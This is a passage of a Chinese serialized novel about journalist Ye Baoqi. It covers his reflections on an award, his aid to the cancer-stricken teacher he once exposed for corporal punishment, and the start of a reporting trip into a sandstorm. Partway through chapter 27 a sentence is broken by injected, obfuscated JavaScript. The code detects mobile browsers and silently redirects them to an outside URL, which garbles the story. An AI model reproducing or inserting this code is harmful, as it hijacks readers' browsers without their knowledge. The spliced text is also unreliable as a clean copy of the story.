他把奖牌拿出来，第一次认真端详。金牌不重，上面刻的字在月光下清晰：“记录时代，守望正义。”这八个字突然活了，像小鱼游出水面，在空气中闪烁了几秒，又沉回金属的深处。 叶葆启明白了。奖牌不是终点，也不是起点，它是一个坐标，标记出他在漫长职业生涯中的一个位置。而这个位置的意义，不在于它本身，在于它指向的方向。 他把奖牌放回去，重新锁好抽屉。这次没有塞纸条，他觉得不需要了。 1999年6月过去，夏天汹涌而来。报社窗外的梧桐树绿得发黑，蝉鸣震耳欲聋。叶葆启的采访本换到了第八本，封面磨破了，他用胶布粘好。笔也用坏了好几支，但他留着一支最早的英雄钢笔，铱金笔尖磨出了适合他握姿的斜面。 这期间他做了几个重要的报道：一家化工厂的污染问题，经过三个月的追踪，最终促成搬迁；一个历史街区的保护，他写了整版调查报告，保住了三十多栋老建筑；还有一次跨省采访，帮一群被骗的农民工讨回了血汗钱。 每次完成这样的报道，他都会在笔记本最后一页画个小记号——有时是一片叶子，有时是一圈涟漪，有时什么都不是，就一个点。这些记号连起来，是一条看不见的轨迹，记录着一个记者的良心如何在这片土地上行走。 秋天的时候，叶葆启去参加了一个新闻界的年会。会上很多人谈论新媒体，谈论互联网，谈论即将到来的新世纪。有个年轻记者激昂地说：“传统媒体要死了，我们得转型！” 叶葆启没说话。他想起老家的一句俗话：衣服会旧，但人总要穿衣服；碗会破，但饭总要盛在碗里。形式会变，但有些东西不会变——人对真相的需求不会变，对公平的渴望不会变，对故事的向往不会变。 散会后，他在酒店门口遇见那位说“传统媒体要死了”的年轻人。年轻人有些尴尬，递给他一支烟。 “叶老师，我是不是说得太绝对了？” 叶葆启接过烟，没点，放在鼻子下闻了闻：“你知道我抽屉里锁着什么吗？” “您的新闻奖奖牌？” “不只是奖牌。”叶葆启望着街上的车流，“还有二十三封读者来信，最早的一封是1985年的。有感谢信，有批评信，有提供线索的，也有骂我多管闲事的。这些信我时不时会拿出来读读，它们比奖牌更重。” 年轻人若有所思。 “技术会变，平台会变，但记者这个身份的核心不会变——我们是代笔人，替那些不会写、不能写、不敢写的人，写下他们的故事；我们是传声筒，把微弱的声音放大，让该听见的人听见；我们还是镜子，照出这个时代的病灶和光彩。” 叶葆启拍拍年轻人的肩：“别怕变，但要清楚什么不能变。” 回家的公交车上，叶葆启睡着了。他做了一个短梦，梦见自己变成了一支笔，在巨大的纸页上行走。纸是土地的颜色，墨是夜空的颜色。他写下河流，河流就开始流淌；写下树木，树木就生根发芽；写下人的名字，那些人就从纸上站起来，朝他微笑。 醒来时到站了，窗外是熟悉的街景。叶葆启下车，秋风吹落梧桐叶，金黄的一地。他踩在落叶上，发出沙沙的声响，那声音像是大地在低语，诉说着季节轮回、生命更替的秘密。 家门口，素琴在等他。晚饭已经做好了，香气飘出来，是土豆烧肉的味道。儿子叶舟下个月要去大学报到，行李开始打包，客厅里堆着纸箱。 “回来啦？”素琴接过他的包。 “嗯，回来了。” 简单的对话，重复了二十年。但每次说，都有不同的分量。 夜深了，叶葆启在书房整理资料。月光从窗户泻进来，在书桌上铺出一片银白。他突然想起抽屉里的奖牌，打开来看，奖牌静静地躺着，不再发光，不再发声，就是一块普通的金属。 这样最好，他想。荣誉应该安静，像种子埋在土里；而人应该行动，像树向上生长。 他拿出新的采访本，在第一页写下日期：1999年10月8日。然后顿了顿，又添上一行小字： “笔未老，心尚温，路还长。” 窗外，城市的灯火渐次熄灭，但总有几盏亮着，像不肯睡去的眼睛。更远处，河流在黑暗中流淌，无声，却有力，带着千百年来的记忆奔向大海。而明天太阳升起时，又会有新的故事发生，等待被看见，被记录，被讲述。 叶葆启合上本子，关掉台灯。月光里，他的影子投在墙上，微微晃动，像一棵老树在夜风中的剪影。 那影子很长，一直延伸到时光深处，连接着过去，也指向未来。 27. 第027章 女教师的母亲 雨水是记忆的触须，缠缠绕绕地爬满了1999年的秋天。叶葆启坐在办公室里，听着雨滴敲打窗玻璃的声音，那声音闷闷的，像是从很远的海底传来。已经是2002年了，距离那篇关于螺壳镇小学的报道获奖，整整过去了三年零四个月。时间这东西，你说它像流水，它偏像胶，黏糊糊地裹着人往前挪。 办公室里永远弥漫着一股旧报纸和速溶咖啡混合的气味。叶葆启面前的桌上摊开着读者来信，那些字迹有的娟秀如春蚕吐丝，有的狂放似暴雨摧枝。他已经习惯了这种生活——“听潮阁”栏目成了内海市民皆知的名字，他自己也从一个风风火火的青年记者，变成了同事们口中“老叶”的存在。他不太喜欢这个“老”字，才四十二岁，腿脚还灵便，还能骑着那辆凤凰牌自行车穿越大半个城区去采访。 窗外的雨下得绵密，把天地织成一张灰蒙蒙的网。下午三点钟的光景，天色暗得像傍晚。叶葆启正要起身去续杯茶水，门被敲响了。 不是那种干脆的敲，而是犹豫的、试探的，指甲轻轻刮过木门的声音，像秋虫在死亡前的最后鸣叫。 “请进。” 门开了条缝，先探进来的是一只枯瘦的手，手指关节粗大，皮肤上布满深褐色的斑点。然后是一头白发，稀疏得能看见头皮上青色的血管。最后才是整个人——一个老妇人，穿着洗得发白的蓝布衫，黑色裤子在脚踝处磨出了毛边。她背有些佝偻，站在门口时，雨水正顺着她的发梢往下滴，在地上洇开一小圈深色。 “请问……叶葆启叶记者在吗？”声音很轻，带着浓重的、泥土般的外地口音，每个字都像是从很深的地方挖出来的。 叶葆启连忙起身：“我就是。老人家，您快请进，外面雨大。” 他走过去搀扶，触到老人手臂时吃了一惊——那手臂瘦得只剩一把骨头，隔着薄薄的布料，能感觉到皮肤下脉搏的跳动，微弱而急促，像被困住的鸟。 老人被他扶到椅子上坐下，双手拘谨地放在膝盖上。叶葆启倒了杯热水递过去，她接过来，没有喝，只是用双手捧着，取暖似的。热气升腾起来，在她脸前形成一小片雾，透过那片雾，她的面容显得更加模糊不清。 她抬起头，开始仔细端详叶葆启。那眼神很复杂，像是要把他的模样刻进记忆里，又像是透过他在看别的什么。她的眼白已经泛黄，瞳孔是混浊的褐色，边缘有些发蓝，像久旱土地上的裂缝。 “叶记者……”她开口，声音比刚才更轻了，“我姓吴，是从河北唐县来的。” 叶葆启点点头，等着下文。河北唐县离内海两百多公里，是个以产枣闻名的地方，那种大枣据说叫“木兰红”。他记忆中似乎没有来自那里的采访对象。 老人捧着杯子的手开始微微颤抖，热水溅出来几滴，落在她手背上，她好像没有察觉。“我女儿……叫吴莹莹。您……您还记得吗？” 吴莹莹。叶葆启在记忆里搜索这个名字。有些熟悉，像河底的石子，明明触到了，却看不清形状。他皱起眉头，努力打捞。 见他想不起来，老人低下头，声音几乎要埋进胸口：“就是……就是螺壳镇小学……那个……被处分的王老师……她是我女儿……我后来改嫁，她随了继父的姓，叫王莹莹……” 轰的一声。 不是真的声音，是记忆炸开的声音。叶葆启感到一阵眩晕，下意识扶住了桌沿。螺壳镇小学！王老师！那个因为用针扎学生手心、罚学生跪碎玻璃而被报道的女教师！那个在报道刊登后拒不认错、在全校大会上高声辩驳的女人！那个最终被调离教师岗位、行政记大过处分的“反面典型”！ 而眼前这位风烛残年的老人，竟是她的母亲。 时间在这一刻变得黏稠而怪异。叶葆启仿佛看见三年前的自己，那个满怀正义感的年轻记者，在螺壳镇小学的教室里，听着家长们声泪俱下的控诉。他记得那些孩子手上的针眼，像红色的星座分布在他们稚嫩的手心。他记得王老师当时的样子——四十岁上下，剪着齐耳的短发，脸色苍白，嘴唇紧抿成一条线，眼神里有种近乎偏执的倔强。 “我没有错！严师出高徒！现在不管，将来就是社会的祸害！”她当时是这么说的，声音尖利得像碎玻璃。 而现在，她的母亲坐在他面前，捧着那杯快要凉掉的水，像捧着一捧即将熄灭的灰烬。 无数念头在叶葆启脑中翻滚、碰撞。她是来报仇的？来控诉一篇报道毁了她女儿的一生？还是来讨要说法的？他的手心开始冒汗，三年前的理直气壮此刻忽然变得有些摇晃。 老人似乎看穿了他的心思。她急急地摆手，动作太猛，杯子里的水又溅出来一些。“叶记者，您别误会！我……我不是来找麻烦的！”她的眼圈红了，那红色在泛黄的眼白衬托下显得格外触目，“我女儿……她做得不对，该罚！这个道理我懂！我活了七十三年，不是不明事理的人！我今天是……是来求您帮忙的！” 帮忙？叶葆启愣住了。这个转折太突然，像是走在平地上突然踩进一个坑。他示意老人慢慢说，自己在她对面坐下，从抽屉里拿出笔记本和笔——这是记者的职业习惯，用纸笔作为面对复杂世界的盾牌。 老人开始讲述，声音断断续续，像老旧的纺车纺出的线，不时就会断掉。她讲得很慢，时常需要停下来喘气，或者努力回忆某个细节。叶葆启没有催促，只是安静地记录，偶尔抬头看看她。窗外的雨还在下，滴滴答答，像是在为这个故事打着节拍。 原来，吴莹莹被调离螺壳镇小学后，去了郊区一所更偏远的小学。那地方叫“羊尾巴沟”，名字粗俗得让人难过。学校只有六个班，校舍是五十年代建的土坯房，下雨天教室里会漏水。没有教师宿舍，她在村里租了一间民房，冬天冷得像冰窖，夏天热得像蒸笼。 “她心里憋着气啊。”老人抹了把眼泪，“从小就要强，读书时永远是第一名。当老师也是，带的班成绩总是最好。那件事之后，她更拼命了，像是要证明什么，证明自己是个好老师……” 吴莹莹在羊尾巴沟小学一待就是三年。她带的毕业班，数学成绩破天荒拿了全区第三——对那样一所学校来说，这简直是奇迹。她开始获得一些荣誉，区里的“先进教育工作者”，市里的“师德标兵”提名。但没人知道，这些荣誉背后是什么。 “她每天五点起床，备课到深夜。饭也吃不好，经常就是馒头就咸菜。去年春天，她说胸口疼，自己买了点止疼药吃。后来洗澡时摸到个硬块，才去医院……”老人的声音开始发抖，“乳腺癌，中期。” 这个词从老人口中说出来时，带着一种钝重的、实心的质地，像一块石头砸进水里。 手术切除了左侧□□，接着是化疗。头发大把大把地掉，她干脆剃了光头。治疗花光了家里所有积蓄——其实也没什么积蓄，一个小学教师的工资，一个货车司机的收入（她的丈夫），要养老人，要供孩子上学。亲戚朋友借遍了，欠了一屁股债。 “最近复查，医生说情况不太好，要换一种药，叫什么……靶向药。一瓶就要八千多，一个月得四瓶。医保报不了，一分钱都报不了。”老人终于哭出声来，那哭声压抑了很久，从喉咙深处挤出来，嘶哑得像破风箱，“她性子倔，不肯求人，更不肯……不肯来找您。她说没脸见您，没脸见任何人。是我瞒着她，偷偷打听，找到这儿来的。叶记者，我知道我女儿当年对不起那些孩子，对不起家长，也……也冒犯过您。可她现在已经这样了……她才四十岁啊……求求您，能不能……能不能在报纸上呼吁一下，或者，帮我们问问，有没有什么救助政策……我实在是没办法了啊……” 老人说着，突然从椅子上滑下来，扑通一声跪倒在地。那声音很闷，像是膝盖直接撞在了水泥地上。叶葆启吓了一大跳，赶紧去扶她。老人的身体很轻，轻得像个孩子，在他手里颤抖着。 “您快起来！快起来！”叶葆启用力把她扶回椅子上。老人的眼泪鼻涕糊了一脸，她用手背胡乱抹着，那双手上纵横的皱纹里嵌着洗不掉的污渍——是常年劳作留下的印记。 叶葆启的心乱了。他重新坐回座位，看着笔记本上刚记下的几行字，那些字迹因为手的颤抖而歪歪扭扭。他点上支烟，深深吸了一口，烟雾在两人之间缓缓升起，像一道帘幕。 三年前，他写那篇报道时，一切多么清晰。是非黑白，对错分明。王老师是错的，学生和家长是对的，他的笔就是正义之剑，要斩断教育中的毒瘤。他记得写完稿子那晚，他激动得睡不着觉，觉得自己在做一件了不起的事——为弱者发声，向不公开炮。 可现在，这个“毒瘤”的母亲跪在他面前，哭着说她的女儿快要死了。 时间展现了它最残酷的一面：它从不简单地惩罚或奖赏，而是把所有人扔进一个巨大的漩涡，让施害者和受害者、批判者和被批判者，最终都在同一个激流中挣扎。 “吴阿姨，”叶葆启终于开口，声音有些沙哑，“您先别急。这个事情，我记下了。” 他把烟摁灭在烟灰缸里，那个动作很用力，像是要摁灭什么别的东西。“您女儿当年的事，一码归一码。她做错了，受到了处理。但现在她生病有困难，这是另一码事。人道主义关怀，是社会应有的温度。我会尽力帮您问问。” 他没有说“我一定帮你解决”，记者当久了，知道承诺不能轻易给。但他承诺会通过报社的渠道，联系内海市总工会、教育工会、妇联、民政局，咨询针对重病教师的帮扶政策；也会看看有没有合适的慈善救助项目可以申请。 老人听着，眼泪又流下来，但这次是无声的。她不断点头，每点一次头，花白的头发就颤动一下，像是秋风中的芦苇。 叶葆启详细询问了情况：在哪家医院，主治医生是谁，确诊时间，已经做了哪些治疗，那种靶向药的具体名称，每个月到底需要多少钱。他问得很细，这是记者的本能——用细节构筑真实。老人从怀里掏出一个皱巴巴的塑料袋，里面装着各种单据：病历、处方、缴费单、欠条。那些纸都已经软了，边角磨得起毛，上面的字迹有些被泪水洇开，像长出了蓝色的霉斑。 叶葆启一页页翻看，心情越来越沉重。最下面是一张照片，是吴莹莹生病前拍的。穿着白衬衫，戴着红领巾——可能是教师节活动。她笑着，但笑容很僵硬，嘴角的弧度像是用尺子量过。眼睛直视镜头，里面有种说不清的东西，不是快乐，也不是悲伤，而是一种紧绷的、随时准备战斗的状态。 “这是她最好看的照片了。”老人轻声说，手指轻轻摩挲着照片边缘，像是怕碰碎了什么。 叶葆启把照片和单据都还给她，又给她续了杯热水。“吴阿姨，您留个地址和联系方式，我这边有消息就告诉您。” 老人从另一个口袋掏出一支圆珠笔和一小片纸，那是从什么包装盒上撕下来的，背面还印着“钙奶饼干”的字样。她用颤抖的手写下地址和邻居家的电话号码——她自己家没有电话。 “叶记者，真的……真的谢谢您。”她站起来，又要鞠躬，被叶葆启拦住了。 他送她到门口。走廊里昏暗的灯光把她的影子拉得很长，那影子贴在地上，薄薄的一片，仿佛一阵风就能吹走。看着她蹒跚下楼的背影，叶葆启忽然想起自己的母亲。如果有一天，自己躺在病床上无力支付药费，母亲会不会也这样，放下所有尊严，去求一个曾经伤害过自己孩子的人？ 这个念头让他打了个寒颤。 回到办公室，他坐在桌前，很久没有动。雨还在下，天色更暗了。桌上的读者来信静静地躺着，那些字迹突然变得陌生，像是某种他不认识的古老文字。他想起三年前采访过的一个家长，那个愤怒的母亲举着儿子的手，对着镜头哭喊：“她不是老师！她是魔鬼！” 当时他觉得这话虽然偏激，但可以理解。可现在，那个“魔鬼”正躺在病床上，因为付不起药费而等待死亡。 叶葆启甩甩头，强迫自己回到现实。他拿起电话，开始一个个拨打。先打给报社工会主席老陈，说明情况，请他帮忙联系内海市教育工会。老陈在电话那头沉默了几秒，说：“葆启，你这是……以德报怨啊。” “谈不上，”叶葆启说，“就是看见有人需要帮助。” “行，我帮你问问。不过你别抱太大希望，这种事太多了。” 接着是市妇联、民政局、卫生局。每打一个电话，他都要把事情从头到尾说一遍。说到“螺壳镇小学”时，对方通常会“哦”一声，那声音里包含着太多东西：惊讶、好奇、或许还有一丝不易察觉的评判。 “就是那个体罚学生的老师？”民政局的一个科长问。 “是她。但现在是病人。”叶葆启强调。 “明白了。我查查政策，有消息通知你。” 挂掉最后一个电话，已经是下班时间。办公室里的同事都走了，只剩他一个人。窗外的雨小了些，变成蒙蒙的雾，笼罩着整个城市。远处高楼上的霓虹灯开始亮起来，红的绿的，在雨雾中晕开，像伤口渗出的血。 叶葆启没有马上回家。他坐在那里，一根接一根地抽烟。烟雾缭绕中，他仿佛又回到了螺壳镇小学的那个下午。 那是1999年初秋，和现在一样的季节。他第一次走进那所小学时，被它的破旧震惊了。教室的窗户没有几块完整的玻璃，用塑料布钉着，风吹过时哗啦作响。操场是泥土地，下雨后就成了泥塘。就是在这样的环境里，王老师——当时的吴莹莹——创造了一个奇迹：她带的毕业班，数学平均分连续三年全区第一。 采访开始时，他是带着敬意的。这样一个艰苦的环境，能教出这样的成绩，老师一定付出了很多。他甚至在笔记本上写下：“寒门师者，可敬可佩。” 但随后的家长座谈会改变了这一切。 十几个家长挤在一间小教室里，情绪激动。 家长们的声音交织在一起，愤怒、委屈、无奈。叶葆启记录的手在抖，不是害怕，而是一种混杂着震惊和愤怒的情绪。 他也采访了王老师本人。在教师办公室，她坐在他对面，背挺得笔直，双手放在桌上，手指交叉着，指节因为用力而发白。 “我承认我体罚学生。”她开门见山，没有一点回避，“但叶记者，您了解这里的情况吗？这些孩子，父母大多在外打工，爷爷奶奶管不了。不写作业、上课睡觉、打架斗殴是常事。我如果不管，他们小学毕业就去混社会了。” “但体罚是违反规定的……” “规定？”她打断他，嘴角露出一丝讥讽的笑，“规定能让他们考上初中吗？规定能改变他们的命运吗？我知道外面怎么说我，说我是‘变态’，是‘恶魔’。但您看看我教过的学生，有多少考上了县重点中学？如果没有我，他们现在可能在工地上搬砖，在餐馆里端盘子！” 她的眼睛很亮，有种病态的光。“我是为他们好。总有一天他们会明白。” 采访结束时，叶葆启心情复杂。他理解她的出发点，但不能认同她的方法。更重要的是，那些孩子恐惧的眼神是装不出来的。 报道登出来后，引起了轩然大波。教育局迅速介入，调查，处理。处理结果公布那天，叶葆启又去了螺壳镇小学。王老师正在收拾办公室里的个人物品，动作很慢，一件一件，像是要和每个物件告别。 看见他，她停下来，直直地看着他。“叶记者，您满意了吗？” 他没说话。 “您毁了一个老师，但您救不了那些孩子。”她说，声音很平静，平静得可怕，“接替我的老师下个月才来，这个月他们没数学课上。这就是您想要的正义？” 她抱着纸箱离开时，背影在秋日的阳光下拖得很长。有学生躲在教室窗户后面偷看，但没有人出来送她。 叶葆启站在原地，忽然有些恍惚。他做的到底是对是错？ 三年过去了，这个问题依然没有答案。而现在，这个问题以更残酷的方式回到他面前。 桌上的电话突然响起，吓了他一跳。是素琴打来的，问他怎么还没回家。 “遇到点事，马上回。”他说。 挂掉电话，他最后看了一眼窗外。城市的灯火在雨夜中明明灭灭，每一盏灯后面，都是一个家庭，一个故事，一段人生。记者这个职业很奇怪，总是闯入别人的故事，留下一些痕迹，然后离开。但那些故事并不会因为你的离开而结束，它们会继续生长，以你意想不到的方式，再次与你相遇。 他把老人的地址和病情摘要抄了一份，放进公文包。关灯，锁门，下楼。 雨已经停了，但空气湿漉漉的，吸进肺里有种沉甸甸的感觉。自行车棚里，他那辆老凤凰静静立着，车座上积了一小摊水。他用袖子擦干，骑上去。车轮轧过湿漉漉的地面，发出沙沙的声音，像是无数细小的叹息。 接下来的几天，叶葆启像个真正的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904179|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “公仆”一样奔波。他去内海市教育局，坐在教育工会的办公室里，和负责大病互助的同志详细说明情况。对方是个中年女人，戴一副金边眼镜，听完后推了推眼镜，说：“叶记者，按程序，我们需要她本人申请，然后学校盖章，中心校审核，最后报到我们这里。” “她人在医院，可能不方便。” “那可以让家属代办，但需要委托书。”女人从抽屉里拿出一叠表格，“这些都要填。另外，她这种情况，当年是受了处分的，可能会有影响。” “处分和生病是两回事。”叶葆启说。 “道理是这样，但审批的人可能会考虑。”女人说得委婉。 他又跑妇联。妇联的同志更热情些，说可以帮忙联系“两癌”救助项目，但那个项目资金有限，需要排队。“而且主要针对农村贫困妇女，她虽然是老师，但户口是城镇的，可能不符合条件。” “人都快不行了，还在分农村城镇？”叶葆启有些激动。 “叶记者，您别急，政策就是这样规定的。我们也在争取拓宽覆盖面。”对方安抚他。 最有可能的是民政局的大病医疗救助。但工作人员算了算，摇摇头：“她的医疗费用已经超过家庭年收入的三倍，理论上符合条件。但救助金额有限，最多两三万，对她那种药来说，杯水车薪。” 一圈跑下来，叶葆启感到一种深深的无力。每个部门都有自己的规定、程序、限制。他们都不冷漠，都表示同情，都愿意在政策范围内帮忙。但所有“政策范围内”的帮助加起来，依然填不上那个巨大的窟窿。 晚上回到家，他把这些告诉素琴。素琴在中学教语文，是个心软的人。她听完，沉默了很久，说：“要不，咱们帮一点？” 叶葆启看她：“咱们也不宽裕。” “是不宽裕，但比她强。”素琴说，“儿子上大学了，咱们就两个人，省省总是有的。” 他们商量了一个数字——两千块。对靶向药来说，这只是几天的量，但这是他们能拿出的最大数目了。 叶葆启又联系了跑卫生线的同事小赵。小赵听说后，一拍大腿：“那种药啊，我知道！药厂好像有个慈善赠药项目，但门槛很高，要证明真的穷得不行了，而且前期必须自费治疗一段时间。” “需要什么材料？” “一大堆。低保证明、收入证明、医疗费用清单、医生证明……最重要的是，需要自己先垫钱治疗六个月，花够十万还是十五万来着，然后才能申请。” 十万。对吴莹莹的家庭来说，这是个天文数字。 叶葆启把这些信息都整理好，写了一封详细的信，解释每个渠道的申请条件、需要准备的材料、联系人电话。在信的末尾，他写道：“吴阿姨，这些是我目前了解到的全部信息。虽然困难很多，但请不要放弃。我会继续关注相关政策变化。随信附上一点心意，请务必收下，给莹莹买点营养品。” 他把信和两千块钱装进信封，按照老人留下的地址寄了出去。 寄完信的那个下午，他又去了趟邮局旁边的庙街。那条街上有个香火很旺的观音庙，他不是信徒，但鬼使神差地走了进去。庙里烟雾缭绕，观音菩萨低眉垂目，慈悲地看着芸芸众生。他站在那里看了很久，忽然想：如果菩萨真的存在，她会怎么评判这件事？会认为王老师是恶人吗？会因为一个人犯了错，就让她得癌症死掉吗？ 没有答案。只有香烛燃烧的气味，浓烈得让人窒息。 日子一天天过去，秋意越来越浓。梧桐树的叶子开始变黄，风一吹，哗啦啦落一地，像褪色的记忆。叶葆启继续忙他的“听潮阁”，接热线电话，跑现场，写稿子。生活似乎回到了原来的轨道，只有他自己知道，有些东西不一样了。 他开始在做报道时更加谨慎。遇到需要批评曝光的事，他依然会犀利地写，但下笔前会多问几个问题：这个人为什么这么做？背后有没有什么不得已？如果我是他，会怎么做？ 这不是变得圆滑，而是一种更深的理解——理解人性的复杂，理解处境的艰难，理解在非黑即白之间，存在着大片的灰色地带。 一个月后，他收到了回信。 信封很普通，白底蓝框，是医院附近小卖部卖的那种。字迹工整，但笔画虚浮，像是用尽全身力气才写出来的。 “叶记者：您好。母亲把一切都告诉我了。首先，为我当年的错误和给您带来的困扰，再次诚恳道歉。我愧对教师这个称号。” 叶葆启读到这一句时，停顿了很久。他能想象那个倔强的女人，躺在病床上，一笔一划写下这些字时的心情。那需要放下多少骄傲，吞咽多少苦涩。 “其次，衷心感谢您的无私帮助。教育工会和学校的补助已经申请，正在审批。妇联也联系了我，提供了心理疏导和家政服务信息。虽然前路艰难，但感受到了来自社会的善意，这让我羞愧，也更让我有勇气面对病魔。” 信纸在这里有被水滴洇开的痕迹，不知道是眼泪，还是别的什么。 “您让我看到，批评是惩前，而帮助是毖后。您是一位真正的记者，也是一位仁厚的人。谢谢您。吴莹莹（王莹莹）敬上。” 落款处，她先写了本名“吴莹莹”，又用括号加上“王莹莹”。那个被舆论钉在耻辱柱上的名字，和那个被她自己隐藏起来的名字，终于在这一刻和解了。 叶葆启把信看了三遍，然后小心地折好，放进抽屉最深处。那里还收着三年前那篇报道的剪报，发黄的新闻纸上，“螺壳镇小学体罚事件调查”的标题依然醒目。他把这两份东西放在一起，一份是过去的批判，一份是现在的和解。时间在这两个文本之间流淌，改变了一切，又仿佛什么都没改变。 晚上，他把信给素琴看。素琴看完，眼睛红了。“这个老师……其实也不容易。” “是啊。”叶葆启说，“当年我只看到她严厉的一面，没想过她为什么变成那样。” “听说她小时候家里特别穷，读书时每天走十几里山路。她是靠拼命才考上师范的，所以觉得读书是唯一的出路，对学生也特别严。”素琴说，“方法错了，但心可能是好的。” 叶葆启没说话。他走到窗前，推开窗户。夜风凉凉地吹进来，带着秋天特有的、枯叶和泥土混合的气味。远处，城市的灯火依旧璀璨，每一盏灯下都有一个故事，有悲欢，有离合，有对错难辨的往事，有不得不做的选择。 “葆启，”素琴走到他身边，握住他的手，“你做得对。骂人时像阎王，那是你的职责；帮人时像菩萨，那是你的本心。人这一辈子，谁还不犯个错？得饶人处且饶人，能帮人时伸把手。” 叶葆启点点头。妻子的手很暖，把他从秋夜的凉意中拉回来。 他没有告诉任何人这件事。没有写进报道，没有在同事间提起。这成了他记者生涯中一段私密的记忆，关乎职业伦理，更关乎人性的复杂与微妙。它像一个秘密的刻痕，刻在他的职业良心上，提醒他：记者笔下的人物，从来不是非黑即白的标签。他们是活生生的人，有血有肉，有过去有未来，会犯错也会悔改，有时候是施害者，有时候又是受害者。 就像螺壳镇这个名字——螺壳，螺旋状的壳，看似简单的结构，却藏着无尽的回响与迷宫。每一个生命都是这样一个螺壳，外表或许坚硬，内里却曲折幽深，回响着过去的每一次潮汐。 雨夜依旧，热线依旧，“坐堂”依旧。叶葆启还是那个奔波在一线的记者，用笔记录这座城市的悲欢。只是他的眼神里，除了以往的锐利与执着，多了一些别的东西——一种历经世事后的沉静，一种理解复杂后的通达，一种在坚持原则的同时不丧失温度的能力。 他知道，记者这支笔很重。它能记录罪恶，也应传递善意；能鞭挞不公，也可扶助弱小。这其中的分寸与平衡，没有教科书可以教，只能在一个个具体的人、具体的故事中，用心去揣摩，用一生的时间去践行。 窗外，又下雨了。雨滴打在玻璃上，蜿蜒而下，像是无数道细小的泪痕。叶葆启关上窗，回到桌前。电话铃响了，是热线，又一个需要帮助的市民。 他拿起听筒：“您好，这里是‘听潮阁’，请问有什么可以帮您？” 声音平稳，温和，带着一种经过沉淀的力量。而在电话线的另一端，在这座城市的某个角落，在雨夜的笼罩下，又一个故事正在等待被听见，被理解，被书写。 28. 第028章 苍原墨迹 千禧年的钟声还在天际回荡，新世纪的光像刚开封的老酒，醇厚又刺目地淌进《内海都市报》的编辑部。铅字与油墨的气味里，酝酿着一场远征。社长站在窗前，背对满桌稿件，突然转身说：“得去西边看看。” 这话像颗石子投入静潭。三个月后，“西行采访组”便有了筋骨——叶葆启领队，摄影记者掌镜，行政科的小刘管车马粮草。那辆新配的越野车停在院中，通体墨绿，太阳底下泛着冷冽的光，像匹等待驰骋的草原狼。 四月十日，天色青灰如未磨的砚。出发仪式简短得近乎潦草。总编辑将一面卷起的小红旗递到叶葆启手中，布帛相触的瞬间，叶葆启感到旗杆上有细密的木刺，扎着掌心。总编辑的嘱咐被晨风吹散，只余几个词坚硬地落进耳里：“记录……使者……平安归来。” 车子驶出城区时，叶葆启回头望了一眼。报社大楼在渐浓的雾气中褪成淡影，像一摞被水濡湿的旧报纸。他忽然想起昨夜整理行囊时，妻子默默往他箱底塞进三双厚袜、一包家乡土——用红布裹着，说是“走到哪都带着，水土就不欺生”。 内蒙古的草原还未醒来。草是枯黄的，一望无际地铺展到天际线，风过时泛起波浪，那浪头却滞重迟缓，仿佛大地在沉睡中翻身。他们先到了呼和浩特，采访了几个镶着“内海援建”铜牌的厂子。机器轰鸣声在空旷的厂区回荡，工人们的面孔被机油和尘土染得模糊，只有眼睛亮着——那是认命与期盼交织的光。 真正的草原在锡林郭勒。车子驶离公路后，世界陡然空旷。摄影记者摇下车窗拍照，风灌进来，带着畜粪和艾草混合的辛辣气息。小刘忽然哼起不知名的调子，歌声被风吹得断断续续。 “像是要起风。”叶葆启望着天边说。天际有一道黄线，正缓慢地膨胀。 起初他们没在意。沙地治理区的标语牌在车窗外闪过——“人进沙退”“绿染浑善达克”。为了拍一组治沙对比照，他们循着模糊的车辙印深入沙区。摄影记者说要等到斜阳最好的时刻，那时沙丘的阴影会像墨迹般分明。 影子尚未拉长，天就变了。 那道黄线已胀成幕布，吞没了半边天空。风突然有了实体，不再是气流，而是千万只无形的手，攥着沙砾往车上砸。噼啪声密如急雨，车窗瞬间蒙上厚厚的黄尘。小刘急打方向盘想掉头，车轮却在沙里空转，刨出两个绝望的坑。 “停车！”叶葆启的声音被风撕碎。 引擎熄火后，世界沉入一种诡异的轰鸣。风在车外嚎叫，像无数亡魂在旷野上奔跑。沙从缝隙钻进车内，落在他们的头发上、衣领里，甚至牙齿间一嚼便沙沙响。叶葆启摸出采访本，借着手电筒的光写字。笔尖划在纸上有滞涩的触感——沙已浸透纸纤维。 “记什么呢？”摄影记者问，声音发虚。 “记我们怎么死在这里。”叶葆启说完自己先笑了，笑声干巴巴的。他其实写的是：“天地不仁，以万物为刍狗。然刍狗亦有记事的本能。” 手电光晕里，浮尘漫舞如金粉。叶葆启忽然想起祖父——一个老私塾先生，总在油灯下用蝇头小楷抄写《史记》。老人说过：“史笔有千斤，因它扛着人命。”此刻这笔记本轻飘飘的，却压得他手腕发酸。 小刘摸索出卫星电话，天线伸出车窗的瞬间，风几乎将它折断。信号灯时明时灭，像垂死者的呼吸。等待救援的三小时里，时间被拉成黏稠的胶质。叶葆启闭眼假寐，却看见无数场景在眼皮底下翻涌：妻子晾衣服时踮脚的模样，女儿第一次走路摇晃如醉汉，总编辑鬓角新生的白发…… 直到车外传来驼铃。 叮当，叮当，穿透风声，清脆得不真实。三人同时坐直身体。摄影记者扑到车窗边，用袖子擦出一块透明——朦胧沙幕中，真有骆驼的剪影，一匹，两匹，三匹，背上骑着人影，袍角在风中猎猎如旗。 来的是个老牧民，叫□□，脸被风沙蚀成核桃般的纹路。他的汉语生硬，却足够指明方向。“跟着……骆驼脚印……”他比画着，眼睛在深陷的眼窝里亮得像两颗黑石子。 撤出沙区时已是深夜。□□邀请他们住进自家的蒙古包。包里弥漫着奶腥和柴烟味，火塘的光在包壁上投出巨大人影，晃动着，仿佛古老皮影戏。□□的妻子端上热奶茶，银碗边缘有细微的磕痕。 “这沙暴，”□□啜着茶说，“像马群，有领头的。你们遇上的不算大，真正的领头沙暴来的时候，天空会变成血红色，连骆驼都要跪下祈祷。” 叶葆启记下这话，并在旁边画了个小小的骆驼跪姿。采访本这一页的角落，粘着一粒沙，在火光照映下像微型的琥珀。 